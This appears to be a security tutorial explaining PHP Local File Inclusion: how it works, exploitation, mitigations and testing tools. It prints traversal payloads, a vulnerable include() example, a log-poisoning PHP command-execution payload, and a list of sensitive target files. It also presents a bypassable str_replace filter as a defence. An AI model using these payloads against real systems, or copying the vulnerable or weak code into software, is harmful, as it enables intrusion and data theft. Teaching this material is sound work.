Local File Inclusion (LFI)

Local File Inclusion (LFI) is **a web security vulnerability that allows an attacker to include files from the server's local file system into a web application's output**. This often happens when user input is not properly validated, enabling attackers to read sensitive files, execute code, or escalate privileges.

1. How Local File Inclusion Works

LFI occurs when a web application **dynamically includes a file based on user input without proper validation or sanitization**.

Vulnerable Code Example

```
<?php
    $file = $_GET['file'];
    include("pages/" . $file);
?>
```

- Input URL

```
http://example.com/index.php?file=about.php
```

- The above input includes about.php from the server's pages/ directory.

Malicious Input

An attacker can manipulate the file parameter to traverse directories:

```
http://example.com/index.php?file=../../../../etc/passwd
```

- This includes the /etc/passwd file on a Linux system, leaking user account information.

2. Exploiting LFI

LFI can be used to

1. **Read Sensitive Files**

- Access system files like
    - Linux
        - /etc/passwd (user account info)
        - /var/log/apache2/access.log (web server logs)
    - Windows
        - C:\windows\win.ini

- C:\xampp\apache\logs\access.log

2. **Code Execution**

- Include files containing malicious PHP code or scripts uploaded to the server.
- Example

```
http://example.com/index.php?file=uploads/malicious.php
```

3. **Log Poisoning**

- Write malicious code into server logs and include the log file.
- Steps
  - Send a crafted request that writes a payload into access logs.
  - Include the log file to execute the malicious payload.
- Example payload:

```
http://example.com/%3C?php%20system($_GET['cmd']);%20?%3E
```

- Access log location

```
http://example.com/index.php?
file=../../../../var/log/apache2/access.log&cmd=id
```

4. **Access Configuration Files**

- Retrieve sensitive server configurations like:
  - wp-config.php in WordPress (database credentials).

3. Real-World LFI Example

A vulnerable web application might accept a page parameter like this

```
http://example.com/index.php?page=home.php
```

By exploiting LFI, an attacker could use directory traversal to access sensitive files

```
http://example.com/index.php?page=../../../../etc/passwd
```

Result

The content of /etc/passwd is displayed, leaking usernames and system information.

4. Mitigation Techniques

1. **Input Validation**

- Ensure user input is validated and sanitized.
- Allow only predefined or whitelisted file names.

Example

```
$allowed_files = ['home.php', 'about.php', 'contact.php'];
if (in_array($file, $allowed_files)) {
    include("pages/" . $file);
} else {
    die("Access Denied");
}
```

2. **Avoid Dynamic File Inclusion**

- Avoid using include() or require() with user-supplied input.

3. **Disable Directory Traversal**

- Remove special characters like ../ or ..\ from input.

Example

```
$file = str_replace(array('../', '..\\'), '', $_GET['file']);
```

4. **Restrict File Permissions**

- Configure proper file and directory permissions
    - Limit access to sensitive files.
    - Ensure uploaded files are placed outside the web root.

5. Use basename() to **Filter Input**

- Strip directory path traversal attempts.

```
$file = basename($_GET['file']);
```

6. **Web Application Firewalls (WAFs)**

- Deploy WAFs to block suspicious file inclusion patterns.

7. **Disable PHP File Execution in Upload Folders**

- For Apache, add the following .htaccess rule

```
<Directory "/var/www/html/uploads">
    php_flag engine off
</Directory>
```

5. Tools to Detect LFI

1. **Burp Suite**

- Use Burp Intruder to test for directory traversal and LFI.

2. **OWASP ZAP**

- Automated scanning for LFI vulnerabilities.

3. Manual Testing

- Test with payloads like

```
../../../../etc/passwd
..\..\..\..\windows\win.ini
```

4. **Metasploit**

- Exploits LFI vulnerabilities and automates tests.

6. Common LFI Payloads

Linux Payloads

- /etc/passwd
- /etc/shadow (requires elevated permissions)
- /var/log/apache2/access.log
- /proc/self/environ

Windows Payloads

- C:\windows\win.ini
- C:\xampp\apache\logs\access.log

Other Common Payloads

- ../../../../../etc/hosts
- ../../../../var/log/nginx/error.log

7. Summary

Aspect	Details

Aspect	Details
What is LFI?	A vulnerability allowing inclusion of local server files.
Impact	Reading sensitive files, executing malicious code, log poisoning.
Exploitation Methods	Directory traversal, uploading files, including logs for code execution.
Prevention Techniques	Input validation, file whitelisting, disabling directory traversal.
Tools	Burp Suite, OWASP ZAP, Metasploit, manual testing.

Local File Inclusion (LFI) is a dangerous vulnerability that can expose sensitive server files or even enable remote code execution if combined with techniques like log poisoning or file uploads. Proper **input validation**, **restricting dynamic file inclusion**, and **enforcing secure configurations** are critical defenses to prevent LFI exploits.